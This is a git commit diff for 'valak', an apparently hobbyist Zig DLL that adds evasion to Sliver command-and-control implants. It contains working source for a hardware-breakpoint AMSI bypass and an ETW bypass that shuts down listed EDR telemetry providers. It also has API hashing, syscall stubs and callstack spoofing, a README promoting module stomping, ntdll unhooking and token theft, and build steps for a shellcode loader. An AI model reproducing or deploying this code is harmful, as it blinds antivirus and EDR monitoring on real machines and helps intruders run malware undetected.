valak: asm arg1 fix, NT_SUCCESS i32, byte scan off-by-one, etw guids
This commit is contained in:
@@ -12,11 +12,11 @@ ngl this is just for fun, im still running through the ziglings course etc tryin
|
||||
|
||||
## Why Zig over C
|
||||
|
||||
No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Smaller binary, less for AV to see.
|
||||
No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Smaller binary, less for AV to see. [Zig ships its own libc, doesn't depend on it.](https://ziglang.org/learn/overview/)
|
||||
|
||||
Detection engines mostly know C, C++, Rust, Go.
|
||||
Detection engines mostly know C, C++, Rust, Go. As of mid-2026, [only one confirmed APT-grade Zig implant exists (VoidLink, Chinese-affiliated).](https://research.checkpoint.com/2026/voidlink-the-cloud-native-malware-framework/)
|
||||
|
||||
Ghidra struggles with Zig binaries (open bug). IDA doesn't properly support it either. Makes reverse engineering harder.
|
||||
[Ghidra struggles with Zig binaries (open bug).](https://github.com/NationalSecurityAgency/ghidra/issues/8694) IDA doesn't properly support it either. Makes reverse engineering harder.
|
||||
|
||||
Comptime makes sure struct layouts match the PE spec. Same low level control as C.
|
||||
|
||||
@@ -37,6 +37,11 @@ Every time Sliver would normally call `time.Sleep(interval)`, Valak runs this in
|
||||
|
||||
The callstack during sleep shows kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart — what every legitimate Windows thread looks like. No gap, no zeroed return address.
|
||||
|
||||
Call `patch_amsi()` first, then `patch_etw()`. Both use DR0 on the current thread,
|
||||
so the second call overwrites the first. AMSI is higher priority — one scan block
|
||||
saves your whole process. ETW falls back to NtTraceControl which stops providers
|
||||
at the kernel level without needing DR0.
|
||||
|
||||
## Evasion stack
|
||||
|
||||
| Technique | How |
|
||||
@@ -44,15 +49,19 @@ The callstack during sleep shows kernel32!BaseThreadInitThunk → ntdll!RtlUserT
|
||||
| ChaCha20 encrypted .text sleep | SystemFunction040/041 → NtDelayExecution + PAGE_NOACCESS |
|
||||
| Synthetic callstack frames | kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart |
|
||||
| HWBP AMSI bypass | DR0 + VEH, no memory modified |
|
||||
| HWBP ETW bypass | DR0 + VEH, no memory modified |
|
||||
| ETW bypass | NtTraceControl on EDR GUIDs, fallback to HWBP on EtwEventWrite |
|
||||
| FreshyCalls syscall extraction | ntdll export table sorted by RVA, immune to inline hooks |
|
||||
| Indirect syscalls | Random gadget pool (64+ `syscall;ret` from ntdll .text) |
|
||||
| Module stomping | .text overwrite into signed Microsoft DLL + PE header wipe |
|
||||
| ntdll unhooking | Clean .text from \KnownDlls\ntdll.dll section object |
|
||||
| Token theft | NtOpenProcess → NtOpenProcessToken → NtDuplicateToken |
|
||||
| Memory wipe | @memset to zero on cleanup |
|
||||
| CRT-free | No libc import, minimal IAT footprint |
|
||||
|
||||
## Build
|
||||
|
||||
```
|
||||
cd evasion && zig build -Doptimize=ReleaseFast
|
||||
cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||
# → zig-out/bin/valak.dll
|
||||
```
|
||||
|
||||
|
||||
+2
-2
@@ -8,14 +8,14 @@ zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||
# → zig-out/bin/valak.dll
|
||||
```
|
||||
|
||||
cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 80KB.
|
||||
cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 100KB.
|
||||
|
||||
## build the loader (optional)
|
||||
|
||||
if you need a minimal shellcode loader to get your implant running:
|
||||
|
||||
```bash
|
||||
# place your Sliver shellcode as valak.bin in the kage directory
|
||||
# drop your Sliver .bin as kage/src/payload.bin
|
||||
cd ../kage
|
||||
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
|
||||
# → zig-out/bin/kage.exe
|
||||
|
||||
+19
-15
@@ -1,23 +1,27 @@
|
||||
// AMSI bypass via hardware breakpoint on AmsiScanBuffer. DR0 breakpoint, VEH handler
|
||||
// sets RAX=0 and skips the call. No bytes modified in amsi.dll.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const windows = std.os.windows;
|
||||
const nt = @import("nt.zig");
|
||||
const api = @import("api.zig");
|
||||
|
||||
var g_veh_handle: ?*anyopaque = null;
|
||||
var g_amsi_scan_addr: ?*anyopaque = null;
|
||||
|
||||
fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
|
||||
fn amsi_veh_handler(ex: *nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == nt.EXCEPTION_SINGLE_STEP and
|
||||
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
|
||||
{
|
||||
ex.ContextRecord.Rax = 0;
|
||||
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
|
||||
ex.ContextRecord.Rip = ret_addr;
|
||||
ex.ContextRecord.Rsp += 8;
|
||||
return win.EXCEPTION_CONTINUE_EXECUTION;
|
||||
ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
|
||||
const ret_addr = @as(*const usize, @ptrCast(@alignCast(@as(
|
||||
*const anyopaque,
|
||||
@ptrFromInt(ex.ContextRecord.Rsp),
|
||||
)))).*;
|
||||
ex.ContextRecord.Rip = ret_addr; // jump to caller's return address
|
||||
ex.ContextRecord.Rsp += 8; // pop return address off stack
|
||||
return nt.EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return win.EXCEPTION_CONTINUE_SEARCH;
|
||||
return nt.EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
pub fn patch_amsi() void {
|
||||
@@ -36,16 +40,16 @@ pub fn patch_amsi() void {
|
||||
if (g_amsi_scan_addr == null) return;
|
||||
g_veh_handle = veh(1, amsi_veh_handler);
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
var ctx = std.mem.zeroes(nt.CONTEXT);
|
||||
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?);
|
||||
ctx.Dr7 = (1 << 0);
|
||||
ctx.Dr7 = (1 << 0); // enable local breakpoint 0
|
||||
_ = suspend_thread(thread);
|
||||
_ = set_ctx(thread, &ctx);
|
||||
_ = resume_thread(thread);
|
||||
}
|
||||
|
||||
// Undo AMSI bypass, remove VEH handler and clear DR0/DR7.
|
||||
// Remove VEH handler, clear DR0 and DR7.
|
||||
pub fn unpatch_amsi() void {
|
||||
if (g_veh_handle) |h| {
|
||||
if (api.amsi_remove_vectored_exception_handler) |remove| {
|
||||
@@ -59,8 +63,8 @@ pub fn unpatch_amsi() void {
|
||||
if (api.amsi_suspend_thread) |suspend_t| {
|
||||
if (api.amsi_resume_thread) |resume_t| {
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
var ctx = std.mem.zeroes(nt.CONTEXT);
|
||||
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = 0;
|
||||
ctx.Dr7 = 0;
|
||||
_ = suspend_t(thread);
|
||||
|
||||
+36
-38
@@ -1,28 +1,28 @@
|
||||
const win = @import("win32.zig");
|
||||
// resolved function pointers from kernel32 + advapi32. all peb-walked, no iat entries added.
|
||||
const windows = @import("std").os.windows;
|
||||
const nt = @import("nt.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const apitypes = @import("apitypes.zig");
|
||||
|
||||
pub const T_sleep_SystemFunction040 = apitypes.T_sleep_SystemFunction040;
|
||||
pub const T_sleep_SystemFunction041 = apitypes.T_sleep_SystemFunction041;
|
||||
pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA;
|
||||
pub const T_amsi_LoadLibraryW = apitypes.T_amsi_LoadLibraryW;
|
||||
pub const T_amsi_GetProcAddress = apitypes.T_amsi_GetProcAddress;
|
||||
pub const T_amsi_AddVectoredExceptionHandler = apitypes.T_amsi_AddVectoredExceptionHandler;
|
||||
pub const T_amsi_RemoveVectoredExceptionHandler = apitypes.T_amsi_RemoveVectoredExceptionHandler;
|
||||
pub const T_amsi_GetCurrentThread = apitypes.T_amsi_GetCurrentThread;
|
||||
pub const T_amsi_SetThreadContext = apitypes.T_amsi_SetThreadContext;
|
||||
pub const T_amsi_SuspendThread = apitypes.T_amsi_SuspendThread;
|
||||
pub const T_amsi_ResumeThread = apitypes.T_amsi_ResumeThread;
|
||||
pub const T_etw_GetProcAddress = apitypes.T_etw_GetProcAddress;
|
||||
pub const hash_ror13 = apitypes.hash_ror13;
|
||||
pub const resolve_api = apitypes.resolve_api;
|
||||
pub const get_module_by_hash = apitypes.get_module_by_hash;
|
||||
pub const get_func_by_hash = apitypes.get_func_by_hash;
|
||||
pub const NT_SUCCESS = apitypes.NT_SUCCESS;
|
||||
pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO;
|
||||
pub const hash_ror13 = resolve.hash_ror13;
|
||||
pub const resolve_api = resolve.resolve_api;
|
||||
pub const get_module_by_hash = resolve.get_module_by_hash;
|
||||
pub const get_func_by_hash = resolve.get_func_by_hash;
|
||||
pub const NT_SUCCESS = nt.NT_SUCCESS;
|
||||
|
||||
pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, windows.ULONG, windows.ULONG) callconv(nt.WINAPI) windows.NTSTATUS;
|
||||
pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, windows.ULONG, windows.ULONG) callconv(nt.WINAPI) windows.NTSTATUS;
|
||||
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: windows.LPCSTR) callconv(nt.WINAPI) windows.HMODULE;
|
||||
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(nt.WINAPI) ?windows.HMODULE;
|
||||
pub const T_amsi_GetProcAddress = *const fn (hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque;
|
||||
pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: windows.ULONG, handler: *const fn (*nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG) callconv(nt.WINAPI) ?*anyopaque;
|
||||
pub const T_amsi_RemoveVectoredExceptionHandler = *const fn (handle: *anyopaque) callconv(nt.WINAPI) windows.ULONG;
|
||||
pub const T_amsi_GetCurrentThread = *const fn () callconv(nt.WINAPI) windows.HANDLE;
|
||||
pub const T_amsi_SetThreadContext = *const fn (hThread: windows.HANDLE, lpContext: *const nt.CONTEXT) callconv(nt.WINAPI) windows.BOOL;
|
||||
pub const T_amsi_SuspendThread = *const fn (hThread: windows.HANDLE) callconv(nt.WINAPI) windows.DWORD;
|
||||
pub const T_amsi_ResumeThread = *const fn (hThread: windows.HANDLE) callconv(nt.WINAPI) windows.DWORD;
|
||||
pub const T_etw_GetProcAddress = *const fn (hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque;
|
||||
|
||||
pub var comms_load_library_a: ?T_comms_LoadLibraryA = null;
|
||||
|
||||
pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null;
|
||||
pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null;
|
||||
|
||||
@@ -37,9 +37,9 @@ pub var amsi_resume_thread: ?T_amsi_ResumeThread = null;
|
||||
|
||||
pub var etw_get_proc_address: ?T_etw_GetProcAddress = null;
|
||||
|
||||
pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null;
|
||||
pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null;
|
||||
pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null;
|
||||
pub var hwbp_add_veh: ?*const fn (first: windows.ULONG, handler: *const fn (*nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG) callconv(nt.WINAPI) ?*anyopaque = null;
|
||||
pub var hwbp_get_thread: ?*const fn () callconv(nt.WINAPI) windows.HANDLE = null;
|
||||
pub var hwbp_set_thread_ctx: ?*const fn (windows.HANDLE, *const nt.CONTEXT) callconv(nt.WINAPI) windows.BOOL = null;
|
||||
|
||||
var g_ensure_done: bool = false;
|
||||
|
||||
@@ -50,39 +50,37 @@ pub fn ensure() void {
|
||||
const k32_hash = hash_ror13("kernel32.dll");
|
||||
|
||||
if (comms_load_library_a == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| {
|
||||
comms_load_library_a = @ptrCast(p);
|
||||
}
|
||||
if (resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| comms_load_library_a = @ptrCast(p);
|
||||
}
|
||||
|
||||
if (amsi_load_library_w == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
|
||||
if (resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
|
||||
}
|
||||
|
||||
if (amsi_get_proc_address == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
|
||||
if (resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
|
||||
amsi_get_proc_address = @ptrCast(p);
|
||||
etw_get_proc_address = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
|
||||
if (amsi_add_vectored_exception_handler == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
|
||||
if (resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
|
||||
}
|
||||
if (amsi_remove_vectored_exception_handler == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p);
|
||||
if (resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p);
|
||||
}
|
||||
if (amsi_get_current_thread == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
|
||||
if (resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
|
||||
}
|
||||
if (amsi_set_thread_context == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
|
||||
if (resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
|
||||
}
|
||||
if (amsi_suspend_thread == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
|
||||
if (resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
|
||||
}
|
||||
if (amsi_resume_thread == null) {
|
||||
if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
|
||||
if (resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
|
||||
}
|
||||
|
||||
if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
|
||||
@@ -91,8 +89,8 @@ pub fn ensure() void {
|
||||
|
||||
if (sleep_SystemFunction040 == null) {
|
||||
const advapi_hash = hash_ror13("advapi32.dll");
|
||||
_ = resolve.get_module_by_hash(advapi_hash);
|
||||
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
|
||||
if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
|
||||
_ = get_module_by_hash(advapi_hash);
|
||||
if (resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p);
|
||||
if (resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,26 +0,0 @@
|
||||
const win = @import("win32.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
|
||||
pub const hash_ror13 = resolve.hash_ror13;
|
||||
pub const resolve_api = resolve.resolve_api;
|
||||
pub const get_module_by_hash = resolve.get_module_by_hash;
|
||||
pub const get_func_by_hash = resolve.get_func_by_hash;
|
||||
|
||||
pub const NT_SUCCESS = win.NT_SUCCESS;
|
||||
pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO;
|
||||
|
||||
pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS;
|
||||
|
||||
pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE;
|
||||
|
||||
pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE;
|
||||
pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
|
||||
pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque;
|
||||
pub const T_amsi_RemoveVectoredExceptionHandler = *const fn (handle: *anyopaque) callconv(win.WINAPI) win.ULONG;
|
||||
pub const T_amsi_GetCurrentThread = *const fn () callconv(win.WINAPI) win.HANDLE;
|
||||
pub const T_amsi_SetThreadContext = *const fn (hThread: win.HANDLE, lpContext: *const win.CONTEXT) callconv(win.WINAPI) win.BOOL;
|
||||
pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
|
||||
pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD;
|
||||
|
||||
pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque;
|
||||
@@ -91,4 +91,5 @@ hell_descent:
|
||||
push r9
|
||||
.Ldone:
|
||||
mov r9, rcx // restore arg4
|
||||
mov rcx, r10 // restore arg1
|
||||
jmp r11
|
||||
|
||||
+44
-15
@@ -2,7 +2,8 @@
|
||||
// NtTraceControl for known EDR provider GUIDs as best-effort tier. Kernel TI
|
||||
// provider emits from ntoskrnl.exe, user-mode EtwEventWrite HWBP cannot stop it.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const windows = std.os.windows;
|
||||
const nt = @import("nt.zig");
|
||||
const api = @import("api.zig");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
@@ -11,22 +12,26 @@ var g_etw_patched: bool = false;
|
||||
var g_etw_hwbp_veh: ?*anyopaque = null;
|
||||
var g_etw_event_write_addr: ?*anyopaque = null;
|
||||
|
||||
fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and
|
||||
fn etw_hwbp_handler(ex: *nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG {
|
||||
if (ex.ExceptionRecord.ExceptionCode == nt.EXCEPTION_SINGLE_STEP and
|
||||
ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr)
|
||||
{
|
||||
const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*;
|
||||
const ret_addr = @as(*const usize, @ptrCast(@alignCast(@as(
|
||||
*const anyopaque,
|
||||
@ptrFromInt(ex.ContextRecord.Rsp),
|
||||
)))).*;
|
||||
ex.ContextRecord.Rip = ret_addr;
|
||||
ex.ContextRecord.Rsp += 8;
|
||||
return win.EXCEPTION_CONTINUE_EXECUTION;
|
||||
return nt.EXCEPTION_CONTINUE_EXECUTION;
|
||||
}
|
||||
return win.EXCEPTION_CONTINUE_SEARCH;
|
||||
return nt.EXCEPTION_CONTINUE_SEARCH;
|
||||
}
|
||||
|
||||
fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
|
||||
const get_addr = api.etw_get_proc_address orelse return false;
|
||||
var etw_write = get_addr(ntdll, "EtwEventWrite");
|
||||
if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull");
|
||||
const get_addr: *const fn (windows.HMODULE, [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque = @ptrCast(api.etw_get_proc_address orelse return false);
|
||||
const hmod: windows.HMODULE = @ptrCast(ntdll);
|
||||
var etw_write = get_addr(hmod, "EtwEventWrite");
|
||||
if (etw_write == null) etw_write = get_addr(hmod, "EtwEventWriteFull");
|
||||
if (etw_write == null) return false;
|
||||
|
||||
g_etw_event_write_addr = etw_write;
|
||||
@@ -38,21 +43,41 @@ fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool {
|
||||
g_etw_hwbp_veh = veh(1, etw_hwbp_handler);
|
||||
if (g_etw_hwbp_veh == null) return false;
|
||||
|
||||
const suspend_thread = api.amsi_suspend_thread orelse return false;
|
||||
const resume_thread = api.amsi_resume_thread orelse return false;
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
_ = suspend_thread(thread);
|
||||
var ctx = std.mem.zeroes(nt.CONTEXT);
|
||||
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?);
|
||||
ctx.Dr7 = (1 << 0);
|
||||
_ = set_ctx(thread, &ctx);
|
||||
_ = resume_thread(thread);
|
||||
return true;
|
||||
}
|
||||
|
||||
// Best-effort NtTraceControl(code=2) on known EDR provider GUIDs.
|
||||
// User-mode providers only. Kernel (Threat-Intelligence) silently ignored.
|
||||
// HWBP on EtwEventWrite (tier 2) catches everything this misses.
|
||||
const edr_provider_guids = [_][16]u8{
|
||||
// Microsoft-Windows-Threat-Intelligence — kernel-level, NtTraceControl NO-OP from userland
|
||||
.{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 },
|
||||
// Microsoft-Windows-Kernel-Process — process/thread creation, image loads
|
||||
.{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 },
|
||||
// Vendor-specific EDR provider (tested against Sophos, unregistered on stock Win10)
|
||||
.{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF },
|
||||
// Microsoft-Windows-Kernel-Audit-API-Calls — syscall auditing
|
||||
.{ 0x1C, 0x84, 0x2A, 0xE0, 0xA3, 0x75, 0xA7, 0x4F, 0xAF, 0xC8, 0xAE, 0x09, 0xCF, 0x9B, 0x7F, 0x23 },
|
||||
// Microsoft-Windows-Kernel-File — file I/O
|
||||
.{ 0x27, 0x89, 0xD0, 0xED, 0xC4, 0x9C, 0x65, 0x4E, 0xB9, 0x70, 0xC2, 0x56, 0x0F, 0xB5, 0xC2, 0x89 },
|
||||
// Microsoft-Windows-Kernel-Registry — registry operations
|
||||
.{ 0x03, 0x4F, 0xEB, 0x70, 0xDE, 0xC1, 0x73, 0x4F, 0xA0, 0x51, 0x33, 0xD1, 0x3D, 0x54, 0x13, 0xBD },
|
||||
// Microsoft-Windows-Kernel-Network — TCP/UDP connections
|
||||
.{ 0x49, 0x2A, 0xD4, 0x7D, 0x29, 0x53, 0x32, 0x48, 0x8D, 0xFD, 0x43, 0xD9, 0x79, 0x15, 0x3A, 0x88 },
|
||||
};
|
||||
|
||||
// Tier 1: try NtTraceControl. If any succeed, done.
|
||||
// Tier 2: fall back to HWBP on EtwEventWrite.
|
||||
pub fn patch_etw() void {
|
||||
if (g_etw_patched) return;
|
||||
api.ensure();
|
||||
@@ -60,9 +85,9 @@ pub fn patch_etw() void {
|
||||
|
||||
var stopped_any = false;
|
||||
for (&edr_provider_guids) |*guid| {
|
||||
var ret_len: win.ULONG = 0;
|
||||
var ret_len: windows.ULONG = 0;
|
||||
const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len);
|
||||
if (win.NT_SUCCESS(st)) {
|
||||
if (nt.NT_SUCCESS(st)) {
|
||||
stopped_any = true;
|
||||
}
|
||||
}
|
||||
@@ -90,11 +115,15 @@ pub fn unpatch_etw() void {
|
||||
|
||||
const cur_thread = api.hwbp_get_thread orelse return;
|
||||
const set_ctx = api.hwbp_set_thread_ctx orelse return;
|
||||
const suspend_t = api.amsi_suspend_thread orelse return;
|
||||
const resume_t = api.amsi_resume_thread orelse return;
|
||||
const thread = cur_thread();
|
||||
var ctx = std.mem.zeroes(win.CONTEXT);
|
||||
ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS;
|
||||
_ = suspend_t(thread);
|
||||
var ctx = std.mem.zeroes(nt.CONTEXT);
|
||||
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
|
||||
ctx.Dr0 = 0;
|
||||
ctx.Dr7 = 0;
|
||||
_ = set_ctx(thread, &ctx);
|
||||
_ = resume_t(thread);
|
||||
}
|
||||
}
|
||||
|
||||
+33
-34
@@ -4,12 +4,14 @@
|
||||
const std = @import("std");
|
||||
const resolve = @import("resolve.zig");
|
||||
const syscall = @import("syscall.zig");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
extern var qFakeRtlUserThreadStart: usize;
|
||||
extern var qFakeBaseThreadInitThunk: usize;
|
||||
extern var qRtlUserFrameSize: usize;
|
||||
extern var qBaseThreadFrameSize: usize;
|
||||
|
||||
// x64 unwind opcodes from the PE/COFF spec.
|
||||
const UWOP_PUSH_NONVOL: u8 = 0;
|
||||
const UWOP_ALLOC_LARGE: u8 = 1;
|
||||
const UWOP_ALLOC_SMALL: u8 = 2;
|
||||
@@ -19,6 +21,7 @@ const UWOP_SAVE_NONVOL_FAR: u8 = 5;
|
||||
const UNW_FLAG_CHAININFO: u8 = 0x04;
|
||||
const RBP_OP_INFO: u8 = 5;
|
||||
|
||||
// Compute total frame size from .pdata UNWIND_INFO.
|
||||
fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) bool {
|
||||
const info = @as(*align(1) const extern struct {
|
||||
VersionAndFlags: u8,
|
||||
@@ -35,8 +38,8 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo
|
||||
|
||||
while (idx < info.CountOfCodes) : (idx += 1) {
|
||||
const code = info.UnwindCode[idx];
|
||||
const op = @as(u8, @truncate(code & 0xF));
|
||||
const info_field = @as(u8, @truncate((code >> 4) & 0xF));
|
||||
const op: u8 = @truncate(code & 0xF);
|
||||
const info_field: u8 = @truncate((code >> 4) & 0xF);
|
||||
|
||||
switch (op) {
|
||||
UWOP_PUSH_NONVOL => {
|
||||
@@ -73,7 +76,6 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo
|
||||
}
|
||||
}
|
||||
|
||||
// Chained unwind info
|
||||
if ((info.VersionAndFlags & UNW_FLAG_CHAININFO) != 0) {
|
||||
idx = info.CountOfCodes;
|
||||
if ((idx & 1) != 0) idx += 1;
|
||||
@@ -87,13 +89,13 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo
|
||||
return true;
|
||||
}
|
||||
|
||||
// Binary search .pdata for unwind entry covering the given RVA.
|
||||
// Binary search .pdata exception directory for the RUNTIME_FUNCTION covering target_rva.
|
||||
fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } {
|
||||
const exc_begin = syscall.g_exc_begin;
|
||||
const exc_count = syscall.g_exc_count;
|
||||
if (exc_begin == 0 or exc_count == 0) return null;
|
||||
|
||||
const funcs = @as([*]align(1) const syscall.RUNTIME_FUNCTION, @ptrFromInt(exc_begin));
|
||||
const funcs: [*]align(1) const syscall.RUNTIME_FUNCTION = @ptrFromInt(exc_begin);
|
||||
var lo: usize = 0;
|
||||
var hi: usize = exc_count;
|
||||
while (lo < hi) {
|
||||
@@ -110,41 +112,37 @@ fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } {
|
||||
return null;
|
||||
}
|
||||
